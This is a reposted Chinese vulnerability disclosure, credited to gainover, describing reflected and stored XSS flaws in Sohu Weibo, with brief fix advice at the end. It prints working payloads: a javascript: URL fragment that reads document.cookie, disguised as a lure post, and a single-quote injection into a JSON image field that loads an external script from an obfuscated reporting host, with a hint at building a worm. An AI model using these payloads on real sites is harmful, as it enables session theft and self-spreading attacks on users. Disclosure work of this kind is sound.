好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

搜狐微博1个内容存储型XSS和N个反射型XSS - 网站

1. 漏洞 1: 反射型XSS。   漏洞URL:http://t.sohu.com/m/3398041534 (任何一条微博都可以的啦~~)   漏洞函数:     (function() {         var originalUrl = window.location.href,                 toUrl = originalUrl.indexOf('#') != -1 && originalUrl.split('#')[1];         if (toUrl) {             window.location.href = toUrl;         }     })();   URL跳转时候没有过滤toUrl   漏洞利用, 随便发一条微博,内容为 让人震撼的XXX电影,史上最强大雷人的阵容,@谁谁谁,@谁谁谁,http://t.sohu.com/m/3398041534/#javascript:alert%28document.cookie%29%3B   点击即可中招。 具体图片见漏洞证明!   这第一个漏洞的更强大的位置在于。。   几乎所有整个搜狐微博的各个页面,都有上面这段漏洞函数。   比如:http://t.sohu.com/home (登录后,直接www.2cto.com http://t.sohu.com/home#javascript:alert(document.cookie);可见效果。)     因为http://t.sohu.com/m/\d+ 以及http://t.sohu.com/.+ 都存在该XSS, 所以俺说 是1×N 个反射型XSS。   平台:IE及Chrome下均有效。   Besides,   相比传统的反射型漏洞,加个<script>xxx</script>什么的, 容易被IE和其他浏览器自带的防护拦截。   这种location.href="javascript:xxxx" 不会受到这种影响。 所以此洞更有优势。   -------------------------华丽的分割线--------------------   2. 漏洞2:内容存储型XSS。   提交微博内容时:pics 字段为JSON数据,JSON数据里的url 过滤了双引号,但是没过滤单引号。 导致跨站。   构造以下理由代码: 即在地址后面xxx.png',a:(function(){alert('xx');})(),b:'     [{"url":"http://s1.t.itc.cn/mblog/pic/20125_2_12/s_90649467295126824.png',a:(function(){alert('xx');})(),b:'","extraData":{"smallest":{"w":64, "h":64, "size":1123},"small":{"w":64, "h":64, "size":1123},"middle":{"w":64, "h":64, "size":1123},"big":{"w":64, "h":64, "size":1123}}}]   发送此微博后, 其它用户点击内容图片即可触发。   图片长度有一定限制, 查看了下 源码 ,搜狐微博用了jquery, 直接调用jQuery的getScript函数。调用站外JS。     [{"url":"http://s1.t.itc.cn/mblog/pic/20125_2_12/s_123.png',a:(function(){jQuery.getScript('//xss'+'report.sinaapp.com/1.js')})(),b:'","extraData":{"smallest":{"w":64, "h":64, "size":1123},"small":{"w":64, "h":64, "size":1123},"middle":{"w":64, "h":64, "size":1123},"big":{"w":64, "h":64, "size":1123}}}]   剩下的事情,就在我们的JS里完成即可咯~~ 蠕虫神马的~   具体效果见图片证明。       修复方案: 1. 反射型的那个,修改漏洞函数,对#后面来源的地址拿正则判断下咯。 2. 存储型的这个,过滤url里的单引号 摘自 gainover

查看更多关于搜狐微博1个内容存储型XSS和N个反射型XSS - 网站的详细内容...

  阅读:36次